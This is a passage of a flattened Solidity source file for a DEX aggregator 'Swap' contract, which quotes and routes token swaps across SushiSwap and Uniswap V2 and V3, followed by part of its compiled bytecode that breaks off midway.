bytes path; address recipient; uint256 deadline; uint256 amountIn; uint256 amountOutMinimum; } /// @notice Swaps `amountIn` of one token for as much as possible of another along the specified path /// @param params The parameters necessary for the multi-hop swap, encoded as `ExactInputParams` in calldata /// @return amountOut The amount of the received token function exactInput(ExactInputParams calldata params) external payable returns (uint256 amountOut); struct ExactOutputSingleParams { address tokenIn; address tokenOut; uint24 fee; address recipient; uint256 deadline; uint256 amountOut; uint256 amountInMaximum; uint160 sqrtPriceLimitX96; } /// @notice Swaps as little as possible of one token for `amountOut` of another token /// @param params The parameters necessary for the swap, encoded as `ExactOutputSingleParams` in calldata /// @return amountIn The amount of the input token function exactOutputSingle(ExactOutputSingleParams calldata params) external payable returns (uint256 amountIn); struct ExactOutputParams { bytes path; address recipient; uint256 deadline; uint256 amountOut; uint256 amountInMaximum; } /// @notice Swaps as little as possible of one token for `amountOut` of another along the specified path (reversed) /// @param params The parameters necessary for the multi-hop swap, encoded as `ExactOutputParams` in calldata /// @return amountIn The amount of the input token function exactOutput(ExactOutputParams calldata params) external payable returns (uint256 amountIn); } // File: @uniswap/lib/contracts/libraries/TransferHelper.sol pragma solidity ^0.6.6; // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call( abi.encodeWithSelector(0x095ea7b3, to, value) ); require( success && (data.length == 0 || abi.decode(data, (bool))), "TransferHelper::safeApprove: approve failed" ); } function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call( abi.encodeWithSelector(0xa9059cbb, to, value) ); require( success && (data.length == 0 || abi.decode(data, (bool))), "TransferHelper::safeTransfer: transfer failed" ); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call( abi.encodeWithSelector(0x23b872dd, from, to, value) ); require( success && (data.length == 0 || abi.decode(data, (bool))), "TransferHelper::transferFrom: transferFrom failed" ); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require( success, "TransferHelper::safeTransferETH: ETH transfer failed" ); } } // File: customAggV2.sol pragma solidity ^0.6.6; interface IUniswapV2Router { function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getPair(address tokenA, address tokenB) external view returns (address pair); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function WETH() external pure returns (address); function factory() external pure returns (address); } interface IUniswapV3Router is ISwapRouter { function refundETH() external payable; function factory() external pure returns (address); function WETH9() external pure returns (address); function getPool( address tokenA, address tokenB, uint24 fee ) external view returns (address pair); } interface IUniswapV2Pair { function MINIMUM_LIQUIDITY() external pure returns (uint256); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function token0() external pure returns (address); function token1() external pure returns (address); } library UniversalERC20 { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public constant ZERO_ADDRESS = IERC20(0x0000000000000000000000000000000000000000); IERC20 public constant ETH_ADDRESS = IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); function universalBalanceOf(IERC20 token, address who) public view returns (uint256) { if (isETH(token)) { return who.balance; } else { return token.balanceOf(who); } } function isETH(IERC20 token) public pure returns (bool) { return (address(token) == address(ZERO_ADDRESS) || address(token) == address(ETH_ADDRESS)); } } // DAI = 0x4F96Fe3b7A6Cf9725f59d353F723c1bDb64CA6Aa; // WETH9 = 0xd0A1E359811322d97991E03f863a0C30C2cF029C; contract Swap is Ownable { using SafeMath for uint256; using UniversalERC20 for IERC20; IUniswapV2Router public sushiswapRouter; IUniswapV2Router public uniswapRouterV2; IUniswapV3Router public uniswapRouterV3; IQuoter public quoterV3; uint24 public poolFee; function initialize(address _owner) public initializer { Ownable.init(_owner); sushiswapRouter = IUniswapV2Router( 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F ); uniswapRouterV2 = IUniswapV2Router( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapRouterV3 = IUniswapV3Router( 0xE592427A0AEce92De3Edee1F18E0157C05861564 ); quoterV3 = IQuoter(0xb27308f9F90D607463bb33eA1BeBb41C27CE5AB6); poolFee = 3000; } function getPairRateSushi( IERC20 _tokenIn, IERC20 _tokenOut, uint256 _amountIn ) internal view returns (uint256 _amountOut) { require(_tokenIn != _tokenOut, "Both tokens are same"); if (UniversalERC20.isETH(_tokenIn)) { _tokenIn = IERC20(sushiswapRouter.WETH()); } else if (UniversalERC20.isETH(_tokenOut)) { _tokenOut = IERC20(sushiswapRouter.WETH()); } if ( IUniswapV2Router(sushiswapRouter.factory()).getPair( address(_tokenIn), address(_tokenOut) ) != address(0) ) { address[] memory path = new address[](2); path[0] = address(_tokenIn); path[1] = address(_tokenOut); uint256[] memory amountsOut = sushiswapRouter.getAmountsOut( _amountIn, path ); _amountOut = amountsOut[1]; } } function getPairRateUniV2( IERC20 _tokenIn, IERC20 _tokenOut, uint256 _amountIn ) internal view returns (uint256 _amountOut) { require(_tokenIn != _tokenOut, "Both tokens are same"); if (UniversalERC20.isETH(_tokenIn)) { _tokenIn = IERC20(uniswapRouterV2.WETH()); } else if (UniversalERC20.isETH(_tokenOut)) { _tokenOut = IERC20(uniswapRouterV2.WETH()); } if ( IUniswapV2Router(uniswapRouterV2.factory()).getPair( address(_tokenIn), address(_tokenOut) ) != address(0) ) { address[] memory path = new address[](2); path[0] = address(_tokenIn); path[1] = address(_tokenOut); uint256[] memory amountsOut = uniswapRouterV2.getAmountsOut( _amountIn, path ); _amountOut = amountsOut[1]; } } function getPairRateUniV3( IERC20 _tokenIn, IERC20 _tokenOut, uint256 _amountIn ) internal returns (uint256 _amountOut) { require(_tokenIn != _tokenOut, "Both tokens are same"); if (UniversalERC20.isETH(_tokenIn)) { _tokenIn = IERC20(uniswapRouterV3.WETH9()); } else if (UniversalERC20.isETH(_tokenOut)) { _tokenOut = IERC20(uniswapRouterV3.WETH9()); } if ( IUniswapV3Router(uniswapRouterV3.factory()).getPool( address(_tokenIn), address(_tokenOut), poolFee ) != address(0) ) { uint160 sqrtPriceLimitX96 = 0; _amountOut = quoterV3.quoteExactInputSingle( address(_tokenIn), address(_tokenOut), poolFee, _amountIn, sqrtPriceLimitX96 ); } } // important to receive ETH receive() external payable {} function getBestExchangeRate( IERC20 _tokenIn, IERC20 _tokenOut, uint256 _amountIn ) external payable returns (uint256 amountOut, uint8 platform) { uint256[] memory returnAmounts = new uint256[](3); returnAmounts[0] = getPairRateSushi(_tokenIn, _tokenOut, _amountIn); returnAmounts[1] = getPairRateUniV2(_tokenIn, _tokenOut, _amountIn); returnAmounts[2] = getPairRateUniV3(_tokenIn, _tokenOut, _amountIn); uint256 amount = 0; uint8 index; for (uint8 i = 0; i < returnAmounts.length; i++) { if (amount < returnAmounts[i]) { amount = returnAmounts[i]; index = i; } } require(amount > 0, "No liquidity added"); amountOut = amount; platform = index; } function getPairV2( address factory, address token0, address token1 ) internal view returns (address) { return IUniswapV2Router(factory).getPair(token0, token1); } function getPairV3( address factory, address token0, address token1 ) internal view returns (address) { return IUniswapV3Router(factory).getPool(token0, token1, poolFee); } function getReserveV2(address pairAddress) internal view returns ( address _tokenIn, uint256 _tokenInBal, uint256 _tokenoutBal ) { IUniswapV2Pair pair = IUniswapV2Pair(pairAddress); (uint112 liq1, uint112 liq2, ) = pair.getReserves(); _tokenIn = pair.token0(); _tokenInBal = uint256(liq1).sub(pair.MINIMUM_LIQUIDITY()); _tokenoutBal = uint256(liq2).sub(pair.MINIMUM_LIQUIDITY()); } function getReserveV3(address pair, IERC20 token0) internal view returns (uint256 token0Bal) { token0Bal = token0.balanceOf(pair); } function sushiSwap( IERC20 _tokenIn, IERC20 _tokenOut, uint256 _amountIn, uint256 _amountOutMinimum ) internal { require(_tokenIn != _tokenOut, "Both tokens are same"); require(_amountIn > 0, "Amount too small to swap"); require( getPairRateSushi(_tokenIn, _tokenOut, _amountIn) >= _amountOutMinimum, "Insufficient output amount" ); address[] memory path = new address[](2); if (UniversalERC20.isETH(_tokenIn)) { path[0] = sushiswapRouter.WETH(); path[1] = address(_tokenOut); } else if (UniversalERC20.isETH(_tokenOut)) { path[0] = address(_tokenIn); path[1] = sushiswapRouter.WETH(); } else { path[0] = address(_tokenIn); path[1] = address(_tokenOut); } address pairAddress = getPairV2( sushiswapRouter.factory(), path[0], path[1] ); require(pairAddress != address(0), "Pair doesn't exist"); ( address token0, uint256 _tokenInSwapAmount, uint256 _tokenOutSwapAmount ) = getReserveV2(pairAddress); uint256 maxSwapAmount; if (path[0] == token0) { maxSwapAmount = _tokenInSwapAmount; } else { maxSwapAmount = _tokenOutSwapAmount; } require(_amountIn <= maxSwapAmount, "Not enough liquidity"); TransferHelper.safeTransferFrom( path[0], msg.sender, address(this), _amountIn ); TransferHelper.safeApprove( path[0], address(sushiswapRouter), _amountIn ); if (UniversalERC20.isETH(_tokenIn)) { sushiswapRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{ value: msg.value }(_amountOutMinimum, path, msg.sender, block.timestamp); } else if (UniversalERC20.isETH(_tokenOut)) { sushiswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( _amountIn, _amountOutMinimum, path, msg.sender, block.timestamp ); } else { sushiswapRouter .swapExactTokensForTokensSupportingFeeOnTransferTokens( _amountIn, _amountOutMinimum, path, msg.sender, block.timestamp ); } } function uniSwapV2( IERC20 _tokenIn, IERC20 _tokenOut, uint256 _amountIn, uint256 _amountOutMinimum ) internal { require(_tokenIn != _tokenOut, "Both tokens are same"); require(_amountIn > 0, "Amount too small to swap"); require( getPairRateUniV2(_tokenIn, _tokenOut, _amountIn) >= _amountOutMinimum, "Insufficient output amount" ); address[] memory path = new address[](2); if (UniversalERC20.isETH(_tokenIn)) { path[0] = uniswapRouterV2.WETH(); path[1] = address(_tokenOut); } else if (UniversalERC20.isETH(_tokenOut)) { path[0] = address(_tokenIn); path[1] = uniswapRouterV2.WETH(); } else { path[0] = address(_tokenIn); path[1] = address(_tokenOut); } address pairAddress = getPairV2( uniswapRouterV2.factory(), address(path[0]), address(path[1]) ); require(pairAddress != address(0), "Pair doesn't exist"); ( address token0, uint256 _tokenInSwapAmount, uint256 _tokenOutSwapAmount ) = getReserveV2(pairAddress); uint256 maxSwapAmount; if (path[0] == token0) { maxSwapAmount = _tokenInSwapAmount; } else { maxSwapAmount = _tokenOutSwapAmount; } require(_amountIn <= maxSwapAmount, "Not enough liquidity"); if(!UniversalERC20.isETH(_tokenIn)){ TransferHelper.safeTransferFrom( path[0], msg.sender, address(this), _amountIn ); TransferHelper.safeApprove( path[0], address(uniswapRouterV2), _amountIn ); } if (UniversalERC20.isETH(_tokenIn)) { uniswapRouterV2.swapExactETHForTokensSupportingFeeOnTransferTokens{ value: msg.value }(_amountOutMinimum, path, msg.sender, block.timestamp); } else if (UniversalERC20.isETH(_tokenOut)) { uniswapRouterV2.swapExactTokensForETHSupportingFeeOnTransferTokens( _amountIn, _amountOutMinimum, path, msg.sender, block.timestamp ); } else { uniswapRouterV2 .swapExactTokensForTokensSupportingFeeOnTransferTokens( _amountIn, _amountOutMinimum, path, msg.sender, block.timestamp ); } } function uniSwapV3( IERC20 _tokenIn, IERC20 _tokenOut, uint256 _amountIn, uint256 _amountOutMinimum ) internal { require(_tokenIn != _tokenOut, "Both tokens are same"); require(_amountIn > 0, "Amount too small to swap"); require( getPairRateUniV3(_tokenIn, _tokenOut, _amountIn) >= _amountOutMinimum, "Insufficient output amount" ); if (UniversalERC20.isETH(_tokenIn)) { _tokenIn = IERC20(uniswapRouterV3.WETH9()); } else if (UniversalERC20.isETH(_tokenOut)) { _tokenOut = IERC20(uniswapRouterV3.WETH9()); } address pairAddress = getPairV3( uniswapRouterV3.factory(), address(_tokenIn), address(_tokenOut) ); require(pairAddress != address(0), "Pair doesn't exist"); uint256 _tokenInSwapAmount = getReserveV3(pairAddress, _tokenIn); require(_amountIn <= _tokenInSwapAmount, "Not enough liquidity"); TransferHelper.safeTransferFrom( address(_tokenIn), msg.sender, address(this), _amountIn ); TransferHelper.safeApprove( address(_tokenIn), address(uniswapRouterV3), _amountIn ); ISwapRouter.ExactInputSingleParams memory params = ISwapRouter .ExactInputSingleParams({ tokenIn: address(_tokenIn), tokenOut: address(_tokenOut), fee: poolFee, recipient: msg.sender, deadline: block.timestamp, amountIn: _amountIn, amountOutMinimum: _amountOutMinimum, sqrtPriceLimitX96: 0 }); uniswapRouterV3.exactInputSingle(params); } function swapFromBestExchange( IERC20 _tokenIn, IERC20 _tokenOut, uint256 _amountIn, uint256 _amountOutMinimum, uint24 _exchange ) external payable returns (uint256 returnAmount) { Balances memory beforeBalances = _getFirstAndLastBalances( _tokenIn, _tokenOut ); if (_exchange == 0) { sushiSwap(_tokenIn, _tokenOut, _amountIn, _amountOutMinimum); } else if (_exchange == 1) { uniSwapV2(_tokenIn, _tokenOut, _amountIn, _amountOutMinimum); } else if (_exchange == 2) { uniSwapV3(_tokenIn, _tokenOut, _amountIn, _amountOutMinimum); } else { revert("No more swaps available"); } Balances memory afterBalances = _getFirstAndLastBalances( _tokenIn, _tokenOut ); returnAmount = afterBalances.ofDestToken.sub( beforeBalances.ofDestToken ); } struct Balances { uint256 ofFromToken; uint256 ofDestToken; } function _getFirstAndLastBalances(IERC20 _tokenIn, IERC20 _tokenOut) internal view returns (Balances memory) { return Balances({ ofFromToken: _tokenIn.universalBalanceOf(msg.sender), ofDestToken: _tokenOut.universalBalanceOf(msg.sender) }); } }
0x6080604052600436106100a05760003560e01c80638da5cb5b116100645780638da5cb5b1461013a578063c4d66de81461014f578063e9240c2d1461016f578063f2fde38b14610184578063f398569b146101a4578063fd56a2b7146101c4576100a7565b8063089fe6aa146100ac57806310f91b0b146100d7578063596fa9e3146100f95780635b34faaa1461010e578063715018a614610123576100a7565b366100a757005b600080fd5b3480156100b857600080fd5b506100c16101e5565b6040516100ce9190613404565b60405180910390f35b3480156100e357600080fd5b506100ec6101f7565b6040516100ce9190613015565b34801561010557600080fd5b506100ec610206565b34801561011a57600080fd5b506100ec610215565b34801561012f57600080fd5b50610138610224565b005b34801561014657600080fd5b506100ec610278565b34801561015b57600080fd5b5061013861016a366004612d9b565b61028d565b34801561017b57600080fd5b506100ec6103a4565b34801561019057600080fd5b5061013861019f366004612d9b565b6103b3565b6101b76101b2366004612ec8565b610424565b6040516100ce9190613414565b6101d76101d2366004612e88565b6104dc565b6040516100ce9291906134a7565b600454600160a01b900462ffffff1681565b6003546001600160a01b031681565b6002546001600160a01b031681565b6004546001600160a01b031681565b61022c6105f0565b6001600160a01b031661023d610278565b6001600160a01b03161461026c5760405162461bcd60e51b81526004016102639061328a565b60405180910390fd5b61027660006105f4565b565b6000546201000090046001600160a01b031690565b600054610100900460ff16806102a6575060005460ff16155b6102c25760405162461bcd60e51b81526004016102639061323c565b600054610100900460ff161580156102ed576000805460ff1961ff0019909116610100171660011790555b6102f68261064f565b600180546001600160a01b031990811673d9e1ce17f2641f24ae83637ab66a2cca9c378b9f17909155600280548216737a250d5630b4cf539739df2c5dacb4c659f2488d17905560038054821673e592427a0aece92de3edee1f18e0157c058615641790556004805461017760a31b62ffffff60a01b199190931673b27308f9f90d607463bb33ea1bebb41c27ce5ab6171691909117905580156103a0576000805461ff00191690555b5050565b6001546001600160a01b031681565b6103bb6105f0565b6001600160a01b03166103cc610278565b6001600160a01b0316146103f25760405162461bcd60e51b81526004016102639061328a565b6001600160a01b0381166104185760405162461bcd60e51b815260040161026390613137565b610421816105f4565b50565b600061042e612d3d565b61043887876106cd565b905062ffffff83166104555761045087878787610810565b6104a1565b8262ffffff166001141561046f5761045087878787610fb8565b8262ffffff166002141561048957610450878787876116c7565b60405162461bcd60e51b81526004016102639061317d565b6104a9612d3d565b6104b388886106cd565b90506104d082602001518260200151611b5e90919063ffffffff16565b98975050505050505050565b60408051600380825260808201909252600091829160609160208201838036833701905050905061050e868686611b63565b8160008151811061051b57fe5b602002602001018181525050610532868686611fe4565b8160018151811061053f57fe5b6020026020010181815250506105568686866123ee565b8160028151811061056357fe5b6020908102919091010152600080805b83518160ff1610156105c257838160ff168151811061058e57fe5b60200260200101518310156105ba57838160ff16815181106105ac57fe5b602002602001015192508091505b600101610573565b50600082116105e35760405162461bcd60e51b81526004016102639061336f565b9097909650945050505050565b3390565b600080546001600160a01b038381166201000081810262010000600160b01b0319851617855560405193049190911692909183917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35050565b600054610100900460ff1680610668575060005460ff16155b6106845760405162461bcd60e51b81526004016102639061323c565b600054610100900460ff161580156106af576000805460ff1961ff0019909116610100171660011790555b6106b8826105f4565b80156103a0576000805461ff00191690555050565b6106d5612d3d565b60408051808201918290526309f0edcf60e31b90915280734af66235e09ff3f1e44af116434c21740781ceef634f876e7861071d6001600160a01b0388163360448601613029565b60206040518083038186803b15801561073557600080fd5b505af4158015610749573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076d9190612f81565b81526040516309f0edcf60e31b8152602090910190734af66235e09ff3f1e44af116434c21740781ceef90634f876e78906107b7906001600160a01b038816903390600401613029565b60206040518083038186803b1580156107cf57600080fd5b505af41580156107e3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108079190612f81565b90529392505050565b826001600160a01b0316846001600160a01b031614156108425760405162461bcd60e51b8152600401610263906130dd565b600082116108625760405162461bcd60e51b81526004016102639061330a565b8061086e858585611b63565b101561088c5760405162461bcd60e51b815260040161026390613205565b604080516002808252606080830184529260208301908036833750506040516361a6bba160e01b8152919250734af66235e09ff3f1e44af116434c21740781ceef916361a6bba191506108e3908890600401613015565b60206040518083038186803b1580156108fb57600080fd5b505af415801561090f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109339190612e68565b15610a1e57600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561098657600080fd5b505afa15801561099a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109be9190612db7565b816000815181106109cb57fe5b60200260200101906001600160a01b031690816001600160a01b03168152505083816001815181106109f957fe5b60200260200101906001600160a01b031690816001600160a01b031681525050610bae565b6040516361a6bba160e01b8152734af66235e09ff3f1e44af116434c21740781ceef906361a6bba190610a55908790600401613015565b60206040518083038186803b158015610a6d57600080fd5b505af4158015610a81573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa59190612e68565b15610b51578481600081518110610ab857fe5b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610b0c57600080fd5b505afa158015610b20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b449190612db7565b816001815181106109f957fe5b8481600081518110610b5f57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250508381600181518110610b8d57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250505b6000610c68600160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610c0157600080fd5b505afa158015610c15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c399190612db7565b83600081518110610c4657fe5b602002602001015184600181518110610c5b57fe5b602002602001015161280b565b90506001600160a01b038116610c905760405162461bcd60e51b81526004016102639061310b565b6000806000610c9e84612894565b9250925092506000836001600160a01b031686600081518110610cbd57fe5b60200260200101516001600160a01b03161415610cdb575081610cde565b50805b80881115610cfe5760405162461bcd60e51b815260040161026390613341565b610d1e86600081518110610d0e57fe5b602002602001015133308b612a9e565b610d4b86600081518110610d2e57fe5b60209081029190910101516001546001600160a01b03168a612b8f565b6040516361a6bba160e01b8152734af66235e09ff3f1e44af116434c21740781ceef906361a6bba190610d82908d90600401613015565b60206040518083038186803b158015610d9a57600080fd5b505af4158015610dae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dd29190612e68565b15610e465760015460405163b6f9de9560e01b81526001600160a01b039091169063b6f9de95903490610e0f908b908b9033904290600401613436565b6000604051808303818588803b158015610e2857600080fd5b505af1158015610e3c573d6000803e3d6000fd5b5050505050610fac565b6040516361a6bba160e01b8152734af66235e09ff3f1e44af116434c21740781ceef906361a6bba190610e7d908c90600401613015565b60206040518083038186803b158015610e9557600080fd5b505af4158015610ea9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ecd9190612e68565b15610f415760015460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f0a908b908b908b903390429060040161346b565b600060405180830381600087803b158015610f2457600080fd5b505af1158015610f38573d6000803e3d6000fd5b50505050610fac565b600154604051635c11d79560e01b81526001600160a01b0390911690635c11d79590610f79908b908b908b903390429060040161346b565b600060405180830381600087803b158015610f9357600080fd5b505af1158015610fa7573d6000803e3d6000fd5b505050505b50505050505050505050565b826001600160a01b0316846001600160a01b03161415610fea5760405162461bcd60e51b8152600401610263906130dd565b6000821161100a5760405162461bcd60e51b81526004016102639061330a565b80611016858585611fe4565b10156110345760405162461bcd60e51b815260040161026390613205565b604080516002808252606080830184529260208301908036833750506040516361a6bba160e01b8152919250734af66235e09ff3f1e44af116434c21740781ceef916361a6bba1915061108b908890600401613015565b60206040518083038186803b1580156110a357600080fd5b505af41580156110b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110db9190612e68565b156111c657600260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561112e57600080fd5b505afa158015611142573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111669190612db7565b8160008151811061117357fe5b60200260200101906001600160a01b031690816001600160a01b03168152505083816001815181106111a157fe5b60200260200101906001600160a01b031690816001600160a01b031681525050611356565b6040516361a6bba160e01b8152734af66235e09ff3f1e44af116434c21740781ceef906361a6bba1906111fd908790600401613015565b60206040518083038186803b15801561121557600080fd5b505af4158015611229573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124d9190612e68565b156112f957848160008151811061126057fe5b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156112b457600080fd5b505afa1580156112c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ec9190612db7565b816001815181106111a157fe5b848160008151811061130757fe5b60200260200101906001600160a01b031690816001600160a01b031681525050838160018151811061133557fe5b60200260200101906001600160a01b031690816001600160a01b0316815250505b60006113a9600260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610c0157600080fd5b90506001600160a01b0381166113d15760405162461bcd60e51b81526004016102639061310b565b60008060006113df84612894565b9250925092506000836001600160a01b0316866000815181106113fe57fe5b60200260200101516001600160a01b0316141561141c57508161141f565b50805b8088111561143f5760405162461bcd60e51b815260040161026390613341565b6040516361a6bba160e01b8152734af66235e09ff3f1e44af116434c21740781ceef906361a6bba190611476908d90600401613015565b60206040518083038186803b15801561148e57600080fd5b505af41580156114a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c69190612e68565b611507576114da86600081518110610d0e57fe5b611507866000815181106114ea57fe5b60209081029190910101516002546001600160a01b03168a612b8f565b6040516361a6bba160e01b8152734af66235e09ff3f1e44af116434c21740781ceef906361a6bba19061153e908d90600401613015565b60206040518083038186803b15801561155657600080fd5b505af415801561156a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061158e9190612e68565b156115cb5760025460405163b6f9de9560e01b81526001600160a01b039091169063b6f9de95903490610e0f908b908b9033904290600401613436565b6040516361a6bba160e01b8152734af66235e09ff3f1e44af116434c21740781ceef906361a6bba190611602908c90600401613015565b60206040518083038186803b15801561161a57600080fd5b505af415801561162e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116529190612e68565b1561168f5760025460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f0a908b908b908b903390429060040161346b565b600254604051635c11d79560e01b81526001600160a01b0390911690635c11d79590610f79908b908b908b903390429060040161346b565b826001600160a01b0316846001600160a01b031614156116f95760405162461bcd60e51b8152600401610263906130dd565b600082116117195760405162461bcd60e51b81526004016102639061330a565b806117258585856123ee565b10156117435760405162461bcd60e51b815260040161026390613205565b6040516361a6bba160e01b8152734af66235e09ff3f1e44af116434c21740781ceef906361a6bba19061177a908790600401613015565b60206040518083038186803b15801561179257600080fd5b505af41580156117a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117ca9190612e68565b1561185c57600360009054906101000a90046001600160a01b03166001600160a01b0316634aa4a4fc6040518163ffffffff1660e01b815260040160206040518083038186803b15801561181d57600080fd5b505afa158015611831573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118559190612db7565b9350611971565b6040516361a6bba160e01b8152734af66235e09ff3f1e44af116434c21740781ceef906361a6bba190611893908690600401613015565b60206040518083038186803b1580156118ab57600080fd5b505af41580156118bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118e39190612e68565b1561197157600360009054906101000a90046001600160a01b03166001600160a01b0316634aa4a4fc6040518163ffffffff1660e01b815260040160206040518083038186803b15801561193657600080fd5b505afa15801561194a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061196e9190612db7565b92505b6000611a03600360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156119c457600080fd5b505afa1580156119d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119fc9190612db7565b8686612c7d565b90506001600160a01b038116611a2b5760405162461bcd60e51b81526004016102639061310b565b6000611a378287612cbe565b905080841115611a595760405162461bcd60e51b815260040161026390613341565b611a6586333087612a9e565b600354611a7d9087906001600160a01b031686612b8f565b611a85612d57565b5060408051610100810182526001600160a01b038881168252878116602083015260048054600160a01b900462ffffff168385015233606084015242608084015260a0830188905260c08301879052600060e0840152600354935163414bf38960e01b815292939091169163414bf38991611b029185910161339b565b602060405180830381600087803b158015611b1c57600080fd5b505af1158015611b30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b549190612f81565b5050505050505050565b900390565b6000826001600160a01b0316846001600160a01b03161415611b975760405162461bcd60e51b8152600401610263906130dd565b6040516361a6bba160e01b8152734af66235e09ff3f1e44af116434c21740781ceef906361a6bba190611bce908790600401613015565b60206040518083038186803b158015611be657600080fd5b505af4158015611bfa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c1e9190612e68565b15611cb057600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c7157600080fd5b505afa158015611c85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ca99190612db7565b9350611dc5565b6040516361a6bba160e01b8152734af66235e09ff3f1e44af116434c21740781ceef906361a6bba190611ce7908690600401613015565b60206040518083038186803b158015611cff57600080fd5b505af4158015611d13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d379190612e68565b15611dc557600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611d8a57600080fd5b505afa158015611d9e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611dc29190612db7565b92505b6001546040805163c45a015560e01b815290516000926001600160a01b03169163c45a0155916004808301926020929190829003018186803b158015611e0a57600080fd5b505afa158015611e1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e429190612db7565b6001600160a01b031663e6a4390586866040518363ffffffff1660e01b8152600401611e6f929190613029565b60206040518083038186803b158015611e8757600080fd5b505afa158015611e9b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ebf9190612db7565b6001600160a01b031614611fdd5760408051600280825260608083018452926020830190803683370190505090508481600081518110611efb57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250508381600181518110611f2957fe5b6001600160a01b03928316602091820292909201015260015460405163d06ca61f60e01b8152606092919091169063d06ca61f90611f6d908790869060040161341d565b60006040518083038186803b158015611f8557600080fd5b505afa158015611f99573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611fc19190810190612dd3565b905080600181518110611fd057fe5b6020026020010151925050505b9392505050565b6000826001600160a01b0316846001600160a01b031614156120185760405162461bcd60e51b8152600401610263906130dd565b6040516361a6bba160e01b8152734af66235e09ff3f1e44af116434c21740781ceef906361a6bba19061204f908790600401613015565b60206040518083038186803b15801561206757600080fd5b505af415801561207b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061209f9190612e68565b1561213157600260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156120f257600080fd5b505afa158015612106573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061212a9190612db7565b9350612246565b6040516361a6bba160e01b8152734af66235e09ff3f1e44af116434c21740781ceef906361a6bba190612168908690600401613015565b60206040518083038186803b15801561218057600080fd5b505af4158015612194573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121b89190612e68565b1561224657600260009054906101000a90046001600160a01b03166001600160a01b031663ad